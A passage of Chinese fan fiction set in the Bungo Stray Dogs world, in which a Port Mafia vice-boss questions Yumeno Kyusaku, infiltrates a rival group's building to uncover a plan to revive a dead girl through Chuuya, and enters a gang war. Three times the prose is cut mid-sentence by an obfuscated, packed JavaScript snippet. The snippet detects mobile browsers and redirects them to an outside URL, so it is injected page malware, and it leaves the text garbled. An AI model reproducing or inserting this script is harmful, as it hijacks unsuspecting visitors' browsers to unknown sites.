在我一顿手忙脚乱的安抚和解释后,对方才静下心来,我向大佐叔承诺,等此次事件彻底平息后就放他离开。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265645|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >简单嘱咐了老爷几句,我离开了港口。往回走时,收到了来自首领的传唤。 不适感越来越强烈,我几乎是以一种大脑被烦心事塞得慢慢的状态前往了首领的办公室。 途中,我和我妈聊了起来。 “下毒攻击吗?”我妈在听完这一切后吐槽道,“真是神经病啊,很少有组织会用这种伤敌一千自损八百的招数吧。” “是啊,难道他们不吃饭不喝水吗......等等。”我一边走着一边无力吐槽时,一道灵光突然闪过我的脑海,“不吃不喝?” “怎么能达到这种地步呢?除非他们是机器人。” “对啊,万一敌人就是机器人呢......妈我不跟你说了,我要快点把这个消息告诉森鸥外!” “......知道了知道了,喂,你跑慢点啊,注意台阶!” 我几乎是以飞一般的速度抵达了首领办公室,门口站着的安保人员朝我深鞠躬,“您来了,副首领。太宰先生也在里面。” 然后,他推开门。 “知道了,多谢。”我迫不及待地走进去,“森鸥外森鸥外——我知道敌人是谁了......” 屋内的气氛也很沉重,森鸥外和太宰治面对面地坐着。 “雪奈啊,你来了。”椅子上的森鸥外看了我一眼,随后对黑发少年说道,“人已经到了,你继续说。” “什么什么——在此之前两位先听我说!”我跑过去,眼睛亮亮地宣布道,“关于最近的投毒事件,主谋是西部的【ReRe】!” 太宰治饶有兴趣地看过来,“副首领说的是那个拥有智能生命体的组织?” “这倒是和太宰的调查对上了。”森鸥外难得露出了头痛的神色来,“所以,‘荒霸吐计算机’也是那个组织搞出来的鬼吧。” 我不可置信地问道,“什么......什么东西?荒霸吐?” “听起来很不可思议吧,明明【暗杀王事件】还没过去多久......”森鸥外叹了一口气,“我已经让中也尽快回来了,在此之前,这个任务就交给你们吧。” 森鸥外语气阴沉,带着几分狠厉与兴奋,“一直处于被动状态的滋味也不好受啊,是时候该反击了。” 我和太宰治对视一眼,同时欠身,恭敬地回答道。 “——是。” 29.关于战前准备 在首领的恳切命令下,我开始着手准备。 想要端掉一个组织,最简单的办法就是武力碾压。但目前情况特殊,战争不断被挑起,港口Mafia还要留存人手御敌,还有许多疑点需要查明,因此我决定采用另一个方法。 我简单整理了一下行动的相关资料。 【ReRe】的首领是一个中年男人,名叫神代将人,异能力是制造幻境,属于精神控制性的异能。巧合的是,这能力和我的老朋友梦野久作相似,正好可以让我取取经。 精神控制类的异能很罕见,危险级别也很高。为了安全,老朋友没有自由活动的资格,一直待在地下防空洞里。 我和他的孽缘,还得追溯到两年前。 那段时间,中也还没加入黑-手-党,森鸥外忙于处理组织的事务,对我的看管也松了些。无聊之下,我经常跟在太宰治身后,看他和广津柳浪带着黑蜥蜴小队去做任务。 我和梦野久作,就是在某次任务中认识的。 那次任务的目的地在贫民窟。许是因为也曾是孤儿,我十分厌恶这里,便没有跟着进去,一个人在外面溜达。 然后,我就迷路了。 其实现在想想还有些不好意思,毕竟太宰在我这个年纪已经能独当一面,而我这个副首领却迷了路。 但当时的我根本没有这方面的想法,反而浑身上下都散发着“我一定能走出去”的自信光芒。 事实也是如此,只是有些......小曲折。 当时的我实在搞不明白为什么贫民窟的路会这么难走,巷子七歪八拐不说,连一个人影都没有,诡异程度堪比恐怖电影中的鬼打墙,不过这一切还是没有难倒我。 我靠着太阳的方向和风的声音,最后找到了回去的路。但等我出来时,广津柳浪他们早已不见踪影。 我第一反应就是他们任务完成打道回府了,于是抱着一肚子怨气,暗暗决定比他们先到组织,给所有人一个惊喜。 只是有人拦住了我的去路。 “你要走了吗?”手里抱着玩偶的小孩盯着我,语气哀怨。 ......欸?这年头连贫民窟都不能随意进出吗?什么邪恶的霸王条款! 我抱着手臂,没好气地反问道,“那不然呢?” 对面的小孩紧跑两步,一下子抱住我的胳膊,开始鬼哭狼嚎,“不行,你不能走!我好不容易才把你留在这里!” 这时候我总算明白刚才的路为什么不好走了!原来是这个小屁孩搞的鬼! 我一把甩开了对方,大声斥责道,“小小年纪不学好!怎么阻止别人回家?” 就在这时,我注意到了,刚才被摸过的地方,浮现出许多细小的黑色掌印。 我再抬头的时候,看见了一个意料之外的人。 是森鸥外。 “父亲,你是来找我的吗?”我满脸惊喜,认为对方在担心我的安危。 【我没有你这个女儿。】男人穿着白大褂,语气冰冷。 然后,朝我攻击过来。 我一下子就懵了,同时也慌张得不行。 这是......这是什么情况?难道我的身份已经暴露了吗?还有森鸥外那句话的意思,是不要我了吗? 许是事情发生得太快,我一下子没忍住,眼泪开始哗哗流。 我不想回击,也无法张口,只能一味地躲避攻击。途中,为了让自己看起来不那么狼狈,我决定抬头四十五度角仰望天空。 然后,一片朦胧之中,我看见了太阳。 处于正上方,和刚才的位置,截然不同的太阳。 我:“......” 破案了。在我面前玩弄时间这一套,着实有些自不量力了吧? 我一下子就反应过来了,眼前发生的一切都是幻象。 意识到这点,一直攻击的男人便消失了。 我眨了眨眼。 意识逐渐清明,我这才发现那个小孩正拿着绳子,试图将我一圈圈地捆住。 “......?” 干什么干什么?搞强制爱那一套吗? 对方像是意识到了什么,突然抬头看过来。 我发动异能让绳子消失,随后将人按倒,掐住对方的脖子。 对方开始剧烈挣扎起来,双手不断拍打着我的胳膊。 我笑了。 被气的,也可能是觉得自己太牛逼了,总之,我露出来一个癫狂至极的笑容。这倒是把下面的小孩吓够呛,一下子就不挣扎了,语气里掺杂着几分哀求,“别,别杀我!” “为什么?”我眯起眼睛,想起了刚才看到的幻境,加重了力气。 “副首领!副首领!冷静一点!” 就在这时,我听见了熟悉的声音,紧接着肩膀被人抓住,剧烈摇晃起来。 我抬头,露出惊愕的神色,“广津先生......老爷子?” 他身后是太宰治和几个正在往这边奔跑的身影。 “您还好吧?有没有受伤?”老爷子难得失去了稳重,上上下下扫视了几遍。 我有些不好意思,一不留神就让手里的小孩挣脱了。他抱着玩偶大口大口呼吸,露出了脖子上吓人的红痕。 广津柳浪:“......” 我更不好意思了,只好尬笑两声,“嘿嘿,我没事。谢谢你,老爷子。” 广津先生的表情一言难尽,最后拍了拍我的脑袋。 后来我才知道,当时那个头发半黑半白,看似小女孩的孩子,实际上是个小男孩,名叫梦野久作,异能力【脑髓地狱】,是此次的任务目标。 而他手里的玩偶会让人看见自己最恐惧的东西,神志不清的状态下开始互相残杀。 我听完后心有余悸。 其实梦野久作的能力十分危险来着,就是脑袋不太好使。而我迷路的时候就已经中招了,只是分量很轻,足以让我迷失方向,就是细节方面不太到位,让我敏锐地发现了出口。 然后第二轮攻势下,梦野久作故作聪明地加入了许多小细节。 谁能想到对我来说完全就是画蛇添足呢。 梦野久作被港口Mafia带了回去,代号Q,而他似乎单方面地记恨上了我。 可能是由爱生恨吧,我这么安慰自己。 所以—— 当森鸥外提出让我去见见这位老朋友的时候,我是万分不愿意的。 相比之下,我更愿意跳过这个步骤,直接和神代将人打交道。但在森鸥外的再三强调之下,我还是不情不愿地来到了防空洞。 门口的看守人员朝我鞠躬示意,对我进行了全身检查。等待的过程中,我的目光落在电子面板上,自己头像框后的数字由1变成了2,名字也变成了淡红色。 “确认无误。副首领,您请进。”安保人员边说边递过来一个全包性头盔。 我盯着那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269723|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丑到爆的东西,还是伸手接了过来。我其实觉得这种东西用处不大,但最后也没说什么,只是默默戴上头盔。我明白对方的顾虑,毕竟此次拜访的对象危险性较高,万一没取到经还把自己搭进去就很丢脸了。 当然,双方面的。 简单向对方道谢后,我走了进去。 梦野久作正在吃甜品。 这是港口Mafia为了安全控制他采用的特殊方式,让他时刻保持愉悦状态。至于看见我之后还是不是这样,就有待考察了。 果不其然,在我踏进去的那瞬间,对方就变得不高兴了,将甜品的叉子扔了过来,“啊,是你!抛弃我的旧同伴!” “停停停停停——”我连忙出声打断了他,“别提起‘旧同伴’这个词,我听着不舒服。” “行吧。”梦野久作伸手,将甜品推向我这边,“你来找我玩吗?” 我点点头,摆上一幅和好朋友聊天的样子,“我该怎么和你玩?” “要连线哦。”对方举起娃娃,“就像这样,我的娃娃被弄坏或者我自己坏掉的时候,就可以和大家连上线了,想打电话那样,嘟——嘟——然后就通了。” “我遇到了一个小boss。”我坐下,一脸悲痛地说道,“况且他和你一样,但我还是更喜欢你,所以不想和他玩。” “那你就不要和他连线了。”梦野久作抬头看着我,眼睛里闪着好奇的光,“每个人都有连线的方法,有人要听到声音,有人要看到眼睛,就像是......钥匙,对,钥匙,所以不要让对方拿到钥匙呀。” “钥匙?”我眨眨眼,“万一我的锁被强行破坏了呢?” “嗯......那你的抽屉就会被打开了。”对方坐回去摆弄着自己的玩偶,手指捏着耳朵动来动去,“人的心里有很多抽屉,有的装着快乐的回忆,有的装着可怕的怪物。我们只是帮忙把怪物的抽屉打开而已。” 我盯着他的动作。 “那个家伙又不是把怪物放进你心里,只是把它叫醒而已,但你也不用害怕——” “一般遇到这种情况都会害怕的吧?”我比了个求救的手势,故意高举双手,“这是人之常情。” 他手上的动作顿了一下,抬眼看着我,嘴角弯起。 “但怪物这种东西本来就是你的嘛。所以它们比你自己还要了解你。”他话锋一转,“姐姐的怪物长什么样?” 话音刚落,我就想起了森鸥外。 然后是刑警先生、玛丽和亚当、魏尔伦、还有他体内的兰波。 最后是院长先生、中岛敦、以及我妈。 这些人走马灯似的在脑子里转了一圈,最后一起消失了,像被吹散的烟。 嘶,这是个什么意思? 我不知道怎么回答。保险起见,我这么说道,“......和你的一样?” 沉默持续了一会儿,也就是在此刻,我突然感觉,有些无聊。 现在的怪物长这个样子了。 “啊,你看见它了......”对面的小男孩摆上一幅两年前在巷子里的那个表情,“你要走了吗?” “嗯。”我淡淡点头。 “下次找我玩是什么时候?” 我笑了笑,“这是一个十分狡猾的问题。” “所以我能得到答案吗?” “......可以。”我将甜品推回去,认真回答道,“答案是,在我完成任务之后。” 30.关于我的调查任务 下雨了,直到我即将启程的时候,雨也没有停。 这是个不怎么美妙的坏征兆。 太宰在这里漏过面,不适合潜入这种任务。与荒霸吐脱不了干系的中也,此刻正在赶回来的路上。至于新下属织田作,正在逐一排查新一批物资的来源。 所以目前来到这里的只有我一人。 每到这时候我就会感慨,要是组织的年轻人能再多一点就好了。 十五分钟后,我抵达目的地。 这是一座离边界线不远,有着金属光泽外墙的办公楼。四周没有多余的建筑,只有一望无际的森林,独特的地理条件让我的任务少了许多变数。 此刻,从我所在的方位望去,三名保安正在巡逻。初步判断是比亚当更低级的可自主思考型计算机。即使在下雨,他们也没有被干扰,从头到尾都保持着沉默。 我抬起头,看向这栋建筑。 十八层,在这片区域算是非常高的建筑了。玻璃上倒映着远处的交界河,水面波光粼粼。 但我现在没有心情去欣赏,因为这说明了我无法获取目标的地理位置。 我决定先去一楼大厅的前台那里去看看,如果老天不保佑的话,我就只能一层一层来了。 我已经在雨里站了四十分钟。 这是潜入前的必要耐心。为了保险起见,这四十分钟内,我不断释放着自己的异能。 我的运气不太好,或者说我的实力还很弱。前三十分钟内,周边环境并没有发生明显的变化,就像发出悲鸣的转瞬即逝之物。 直到这一次,我抬起手。 即将落在肩头的雨滴在半空中顿住,像被按了倒退键,一粒粒、一串串地违背物理法则向上回流。我盯着在周围形成的直径两米的透明球体,开始计数。 球体之外,暴雨如珠。 我低头看了看变得干爽的衣服,又抬头看了看正在逆天下雨的诡异景象,我保持着这个动作一动不动,然后“哗”的一声,球体消失了。 暴雨轰然砸下,我的脸遭受了重创。雨水顺着脸颊流下,再灌进衣领,最后浸透风衣的下摆。 虽然我早有预料,提前闭上双眼,但还是被雨水呛了几口,狼狈地咳了两声。 我抹了把脸上的水,低头看着自己这副落汤鸡的模样,湿透的头发贴在额前,水滴顺着下巴往下掉。 “......五秒。”我轻声对自己说,嘴角却忍不住地翘了一下。 保安走到下一个拐角,需要七秒。 足够了。 我穿过大门,闪进办公楼的一楼大厅。大厅里只有前台小姐姐一个人,正在低头摸鱼,上方的应急灯散发着惨白的光。我快速摸过去将对方敲晕,心底默默说了句抱歉,将对方摆出一副趴桌睡觉的样子,看向前台的电脑。 已经黑屏了,我滑动鼠标,屏幕亮起,需要登入密码。 我有些无语,觉得这是前台小姐姐摸鱼造成的后果。 就在这时,时间回复流动,我听见窗外的雨声重新砸向地面。 我心底暗骂一声,迅速躲进下面的死角处。 上方响起前台小姐姐均匀的呼吸声,我深吸一口气,透过反光的玻璃观察起四周。前台只有我们两个,会客区有监控,电梯需要身份卡,安全门上有警报装置。 我的视线落在大厅角落的通风管道上。 十分钟后,我已经从二楼的通风管道上落下。走廊很长,两侧是紧闭的办公室门。我贴着墙根缓慢前进,试图听清每个房间里的动静。有人的呼吸声、键盘的敲击声、偶尔的交谈声......大多数房间都有人值班,我啧了一声,这个组织果然戒备森严。 我继续深入,来到三楼。 这里的氛围明显不同,走廊尽头有一扇金属大门,门边有密码锁,门上贴着醒目的警示标志:“未经授权,禁止进入。” 我有些犹豫,直觉告诉我事情不会这么顺利。我开始仔细观察那扇门,密码锁上有十分明显的使用痕迹,每个按键上的磨损程度大差不差,地上进出的脚印也很整齐,一切都看起来很正常。 太正常了,反而有点不正常。我决定先不进去,继续向上探查,把这里留在最后。 四层到十一层都是普通的办公区,偶尔有几间会议室和杂物间。我快速掠过,没有发现什么有价值的东西。 我来到第十二层,这个和我有着缘分的神奇数字。刚从通风口爬出,我就听到了一个声音。 “嗡——嗡——”是电梯运作的嗡鸣声。 我立刻贴近墙壁,隐藏在阴影中。电梯就在走廊尽头,那声音越来越近,越来越清晰。 有人在用电梯。 这个时间点,这个雨夜,谁会来办公楼?而且还是从一楼上来? 电梯门打开的声音传来。我屏住呼吸,等待脚步声。 但什么都没有发生,电梯门又关上了。 我皱起眉,小心地探头出去看,电梯已经下去了。 ......不对。 我的第一想法就是这个。 如果有人在十二楼下电梯,应该有脚步声,应该有开门声,应该有呼吸声。但结果是什么都没有。 那就只有一个可能——电梯只是上来,然后下去,没有人在这里停留。 那它为什么要上来? 我盯着电梯门上方的楼层显示屏,数字正在跳动,从12变成11、10、9、8、7......最后变成1。 电梯停住了。 1。 停了很久。 我默默数着时间。五秒、十秒、十五秒、二十秒......二十一秒后,电梯才重新开始移动,这次是向上。 2、3、4、5、......11、12——它在我这一层又停了,门打开,然后又关上,继续向上。 13、14......最后停在18楼。 这次仅仅过了十秒,电梯开始向下移动。 我站在原地,脑海里快速分析着这个异常。 电梯在一楼停留了二十一秒,这不是正常的停留时间。要么是有人在那一层上了电梯,要么是有人在那一层下了电梯。但我看到的是电梯从一楼上来的,当时里面没人。 除非...... 除非一楼不是真正的“一楼”。 我的脑海里迅速闪过一个念头——负一楼。 如果这部电梯真正的起始层不是一楼,而是地下的某一层,这一切就合理了。有人从负一楼上了电梯,电梯上升到一楼,停留——不是“停留”,是“开门”,从而伪造成上升的假象。如此费尽心机,为了什么? 为了误导像我这样的入侵者。 不出意外的话,这座电梯的面板是反着装的,打造出碟中谍的假象,从而迷惑入侵者,让对方将注意力放在明显是陷阱的三楼或者一楼大厅。 而真实情况则是碟中碟中谍。 事已至此,我已经确认了两件事。 1.我暴露了,神代将人已经知道有人入侵,但由于我对异能的运用十分良好,没有让对方发现我的身份。所以为了混淆目标,神代将人启动了应对计划。 2.三楼的金属门,那个贴着警示标志的禁区,那个密码上有使用痕迹的门都是陷阱。专门为入侵者准备的陷阱。如果进去,要么触发警报,要么什么都没有,要么死路一条。 这样看来,第三个发生的可能性大一点。而真正的秘密,就在地下。 我嘴角浮现出一丝笑意,隐入更深的黑暗中。 既然对方如此费尽心思,我或许应该给对方一个小小的惊喜。 我来到了十八楼。 顶层,按理说是首领办公室或者私人区域。 我推开安全门,大摇大摆地进入走廊。 这一层的装修风格明显豪华得多,地面铺着地毯,墙上挂着画。尽头有一扇双开大门,门上镶着金色的牌子:首领办公室。 我走过去,轻轻推开门。 里面是标准的豪华办公室,班台上摆放着电脑和几本文件,旁边是真皮沙发,酒柜里摆满了酒。我快速搜查了一遍,除了打不开的电脑,没有发现任何有价值的文件。保险柜里有几沓现金和一些合同,都是表面上的商业往来。 但我在书柜的角落里,发现了一张照片。 照片上是一个小女孩,黑发,笑容明媚,大约七八岁。她旁边站着神代将人,他看女孩的眼神充满了慈祥。 我把照片反过来,背面有一行手写字: “美咲,生日快乐。” 我收起照片,继续搜查。在书柜的最下层,我发现了一本日记。 再次在心里默默道歉后,我翻开日记,里面记录的是一个父亲对女儿的思念。从女儿生病,到治疗,最后离世,字里行间都充满着痛苦与绝望。 最后一页的日期,是两个月前。 这个日子我很敏感,因为这是中也第一次开启【污浊】的那一天。 我有些不舒服,往下看去,这一篇只有一句话:“我会让你回来,无论付出什么代价。” 我将日记本放回原处,清理了所有痕迹,离开办公室。 然后来到三楼的金属大门前。我仔细观察那些痕迹,输入密码,等门开启后,我走了进去。 这里是陷阱,我知道。 我来这里的目的也只有一个,就是消除“入侵者”这一身份。 神代将人已经知道组织里出现了入侵者,他一定会提高警惕,说不定负一楼的秘密也被封锁起来。那么不妨按照对面的意愿行动,从而借此机会,悄无声息地潜入负一层。 我开始了表演。 在眼前出现幻境的时候,我愣了一瞬。反应过来后,我露出惊愕的神情,缓缓倒地。 能将人融化成血水的射线刺来,我掐准时机,发动异能。 时间再次停止,我伪造了遇害现场,随后身影缓缓消失,来到负一层。 这里和上面的世界完全不同。 走廊宽敞,灯火通明,空气里弥漫着一种奇异的臭氧味,像是某种大型电子设备运转时产生的气味。墙壁是金属的,地面上铺着隔音地板,头顶的管道排列整齐,输送着冷却液和电缆。 属于程序之间的强烈不适感再次袭来。 我沿着走廊前进,然后转弯,最后停下脚步。 果然在这里。 我要证明是否真实存在的东西。 面前是一扇巨大的玻璃窗,玻璃后面,是一个圆形的实验室。 实验室中央,悬浮着一个巨大的球形金属装置。它直径约三米,表面密布着许多复杂的图纹。我凑近观察,发现这种东西有点像当时我和中也被N困在实验室时,身上浮现的图案。 荒霸吐计算机。 这就是我的目标。 房间四周是操作台和显示屏,屏幕上跳动着密密麻麻的数据。我走近其中一个屏幕,上面显示着复杂的能量波动图和代码,大部分算法我都看不懂,但有一行文字引起了我的注意: “衍生物人格构建进度:37.8%” 衍生物?人格构建? 我皱起眉,继续查看旁边的实验日志。这是一份电子文档,记录着近三个月的实验过程。我快速浏览,将关键信息暗自记在心底。 “4月17日:第一次尝试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291065|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激活荒霸吐计算机核心,无响应。推测缺少必要的‘钥匙’。” “5月1日:调整实验方向,不再追求完全激活,而是尝试从计算机中提取‘荒霸吐因子’。失败。” “5月31日:发现荒霸吐计算机内部存在一个不完全的意识体。推测为不久前失控事件中产生的‘衍生物’。首领下令,以此意识体为基础,构建出新的人格。” “6月12日:人格构建进度达到20%。意识体开始对外界刺激产生微弱反应。首领非常满意。” “7月5日:进度停滞。意识体需要更强烈的‘锚点’才能稳定存在。首领提出,如果能够获得‘钥匙’,或许可以让这个意识体直接继承某个完整的人格数据......” 我翻到下一页,手指突然停住。 这一页上贴着几张照片,上面的女孩我认识,就是那个名叫美咲的小女孩。和办公室那张照片区别很大,这几张里女孩脸色苍白,笑得很勉强。只有最后一张不同,上面没有女孩的笑容,反而是......一座墓碑。 我心情有些复杂,脑海中闪过之前阅读过的情报。敌对组织的首领,神代将人,在智能生命体这一方面颇有研究。情报上说,他曾经有一个女儿,但在几年前因病去世了。 所以,这就是他的目的。 让死去的女儿以荒霸吐衍生物的形式复活。 我深吸一口气,继续往下看。后面的内容更加详细,他们发现荒霸吐计算机中沉睡的那个“意识体”拥有极强的可塑性,如果能够获得足够多的“人格数据”作为模板,理论上来说的话,可以将这个意识体塑造成任何想要的样子。而要让这个意识体真正“活过来”,需要两样东西: 第一,完整的“钥匙”,荒霸吐的宿主。 第二,足够强烈的“锚点”,原主人的执念、记忆与情感。 神代将人已经拥有了第二样。他把自己对女儿的所有记忆都输入了计算机,甚至包括女儿的衣物与照片,还有最喜欢的玩具。计算机正在一点点消化这些数据,将它们编织成新的人格。 但第一样东西,他还没有。 读到这里,我眉头紧蹙,心底也浮现出不妙的预感。我硬着头皮,继续读了下去,最后在一份加密文档中找到了答案: “荒霸吐计算机的钥匙,是当年横滨‘荒霸吐事件’中诞生的特异个体。——研究员N记录” “作为唯一一个承载着荒霸吐力量的人类载体,他能够激活计算机的存在。根据情报,此人目前隶属于港口黑-手-党,曾用代号【羊之王】。” 羊之王。 中原中也。 我闭上眼睛,开始消化这一切。【ReRe】针对港口黑-手-党,不是为了地盘或者权力,而是为了中也。他想抓住中也,用他激活计算机,让那个沉睡的衍生物“活过来”,成为他的女儿。 我再次看向屏幕上的进度条:37.8%。 还没完成,还有时间。 就在这时,实验室的门突然打开了。 我迅速躲到一个操作台后面,透过缝隙向外看去。一个穿着白大褂的研究员走了进来,手里拿着一份文件,径直走向计算机。他在球形装置前停下,抬起头,用一种近乎虔诚的语气说道,“美咲小姐,今天的实验要开始了。请您配合我们。” 球形装置表面的蓝光闪烁了一下,似乎在回应对方。 我的心跳漏了一拍。那个衍生物......它已经有意识了吗?它知道自己正在被塑造成另一个人吗? 研究员开始操作计算机,屏幕上跳动着更多数据。我屏住呼吸,悄悄从操作台后面探出半个身子,快速拍下屏幕上的关键信息:实验进度、钥匙情报、神代将人的个人日志。 就在这时,研究员突然转过头,朝我藏身的方向看了一眼。 我立刻缩回操作台后面,手按在匕首上。 这是老爷子给我替换的武器。鉴于我需要武器傍身,最后收下了它。 看来今天就会用到它了。 没有什么异常,研究员看了几秒,又转回头去,继续操作计算机。 我松了一口气,但不敢久留。趁着他专注于实验,我悄然退向门口,发动异能。 五秒。 我冲出实验室,穿过走廊,原路返回到通风管道内。当我从一楼通风口爬到大厅时,一切照旧。雨还在下,我冲进黑暗中,回望那栋办公楼。 虽然看不见负一楼,但我知道荒霸吐机器正在运作。 那个叫美咲的女孩,也在等待着被复活。 而中也—— 我掏出手机,拨通了森鸥外的号码。 “完蛋了,森鸥外。”我说,“我找到他们想要的东西了。你猜是什么......是荒霸吐,是中也。他们想要的真的是中也。” 电话那头沉默了几秒,然后传来森鸥外平静的声音。 “回来吧。我们需要商量一下,怎么保护好我们的羊之王。” “好老套的调侃啊......”我吐槽道,挂断了电话,最后看了一眼这里。 神代将人想让女儿复活。但以这种方式:用另一个人的生命,用不属于她的意识体......这样的复活,真的算复活吗? 那个衍生物,它又想要什么呢? 雨还在下,似乎没有要停下的趋势。我转身走进黑暗,感叹世事万千。 中也真的是个香饽饽啊。 我这么想着,明确了接下来的方向。 这块香饽饽可以不属于黑-手-党,但无论如何,我绝对不会让他落在【ReRe】手里。 就像当初的魏尔伦一样。 31.关于【双黑】 从西部回来的第三天,港口黑-手-党再次遭受了袭击。 被袭击的地点主要是港-黑的六个重要据点。神代将人没有试探和佯攻,反而对我们进行了真正的,并且不计代价的全面进攻。他动用了所有能调动的人手:异能者、武装人员、还有那些智能生命体......敌人像疯狗一样撕咬着我们的防线。 森鸥外认为主要原因有两点。 “他们发现有人在调查荒霸吐计算机。”森先生坐在办公室里,语气平静,“神代将人意识到我们已经知道了他的目的。所以他选择先发制人。” “那第二点呢?”我问。 “他们已经将计算机进行了转移。”森鸥外起身,走到窗边,从这里可以看见横滨的全貌。 “战争早就开始了。我们要做的是赢。” 我顺着他的目光向外看去。 远处有浓烟升起,那是港口方向的据点正在燃烧。枪声和爆-炸声隐约可闻,就像是这座城市发出的痛苦呻吟。 这是这场莫名其妙的战争爆发的第三十五天。原本只是几个小组织之间的地盘或物资争夺,但现在,神代将人的加入让一切彻底失控。他就像一根点燃的火柴,扔进了干枯的草场里。 然后,横滨开始燃烧。 我和织田作开始频繁地外出执行任务。侦察、暗杀、破坏敌方补给线......除了某人的不杀原则,其余能做的事织田作都在做。每天晚上回到大楼时,我的衣服上都沾着血迹和硝烟味,有时候是我自己的,但更多时候是别人的。 就在这样的日子里,我第一次注意到了那两个孩子。 那是在贫民区附近的一次任务后。我刚刚解决掉一个敌方的侦察小队,正准备撤离时,听见巷子里传来了细微的说话声。 我握紧匕首,小心靠近。 我第一反应是敌袭,于是精神再次起来紧绷,做好了反杀的准备。正因如此,当我摸到巷子深处时,竟一时没有反应过来。 垃圾堆旁蜷缩两个瘦弱的身影。是一对兄妹,男孩虚弱地靠着墙,脸色苍白,而他怀里的女孩看起来要饿死了。 战争孤儿。 我突然想起了这个词。 这样的孩子在横滨越来越多了。他们的父母或者死于炮火,或者死于异能者的战斗。总而言之,这座城市每天都在发生死亡。 我收起匕首,看着他们。 男孩发现了我,立刻挡在女孩面前,十分狠厉地警告道,“不要过来!我们什么都没有!” 他抬起头,我看清了对方的样貌:黑色头发,以及末端的灰白色渐变发丝。 我沉默了几秒,然后从口袋里掏出今天配发的压缩饼干,扔了过去。 对方接住,愣愣地看着我。 “藏好,”我想了想,说道,“这里很危险,尤其是晚上,别被他们抓走了。” 我说的他们是出没在战争夜晚的黑市商人。 这是一群亡命之徒,他们的眼里只有金钱。 我说完之后就离开了,没有回头。 后来我才知道,那天在另一个街区,织田作之助也在做类似的事。 某次执行任务的途中,我见到了织田作收养的那些孤儿。 其实这个任务是织田作的,但对方中途离开了,似乎有什么着急的事情。作为他的直系上司,我才来到了这里。 当时我和几个部下正在转移伤员,路过一个被炸毁的居民区。废墟旁边,我看见一个熟悉的身影正在往一辆破旧的面包车里装东西。 不,不是东西,是孩子。五个孩子,最大的不过十岁,最小的还不会走路。 我停下脚步。 织田作似乎察觉到了我的目光,转过身看向我。 我第一次看他露出这样的眼神。 十分平静的眼神。 平静得不像一个中途离开任务地点的黑-帮成员,更像是一种见惯了死亡却依然选择活下去的人才有的眼神。 我没有质问对方,因为答案已经摆在眼前了。 “需要帮忙吗?”我问。 他摇了摇头:“还能装下。谢谢......以及,抱歉。” 我没有再多说什么,带着部下离开了。但这个画面一直留在我脑海里,在燃烧的横滨里,像一幅奇怪的油画。 后来我知道了那个最小的孩子的名字:咲乐,织田作是在废墟中捡到的她。 在这个所有人都为利益厮杀的城市里,织田作的行为像个异类。 但也正是因为这样的异类存在,我才觉得这座疯狂的城市还有一丝值得守护的东西。 战争进入第三十七天的时候,中原中也回来了。 他之前被派往英国执行外交任务,现在终于赶回来了。我是在港-黑大楼门口遇见他的。对方刚从车上跳下来,头上戴着那顶帽子。 “啊,中也!你这家伙,终于回来了!”我高兴地跑过去,大倒苦水,“你知不知道你不在的这几天,有人欺负咱们?” “首领提及过此事。”赭发少年朝我抬了抬下巴,“有很多?” “有很多。”我肯定道,“你去把他们全收拾了就行。” “正有此意。” 他走进大楼,与我擦肩而过。 中也回来的第二天,敌人的袭击开始变得疯狂起来。 不是针对我们的据点,而是中也本人。在他外出执行任务的路上,在他回总部的途中,甚至在他休息的时候。神代将人似乎把所有的资源都用来狙击他一个人。 第一次袭击发生在中午。中也的小队在经过一座桥时,桥面突然爆-炸。三辆车坠入河中,只有中也依靠异能悬浮在半空,躲过一劫。但紧接着,桥两岸的建筑里冲出了二十多个武装人员,黑压压的枪口对准了空中的赭发少年。 当然,被攻击者的反击是可怕的。重力操控下,所有的子弹都偏离轨迹,那些袭击者被自己的武器压成肉泥。整个过程不到三十秒。 第二次袭击发生在傍晚。这次的敌人是异能者:三个能操控水、火、土的对手,还有五十多名武装人员,在一处废弃工厂设下埋伏。中也陷入苦战,但最终还是取得了胜利。 第三次袭击发生在凌晨。中也回到自己的住处,刚刚躺下,整栋楼就爆-炸了。他从废墟中爬出来,浑身是血,但还活着,然后追杀了那些袭击者整整十条街。 我听到这些消息时,正在吃饭,惊得我喷了老爷子一脸水。 “啊......真是抱歉啊,没忍住。”我手忙脚乱地将纸递过去,一脸歉意。 广津柳浪接过纸巾,不紧不慢地擦了擦脸,神色正常,“......看来老夫应当选择一个更合适的时机汇报此事。” “抱歉啊,老爷子。”我快速处理掉手里的食物和瓶装水,愤愤不平道,“都怪神代将人那个混蛋!做的破事和他的名字一样,简直是个神人!” “太宰先生让我转告您,食物中毒的事件已经处理完了。” “怎么回事?” 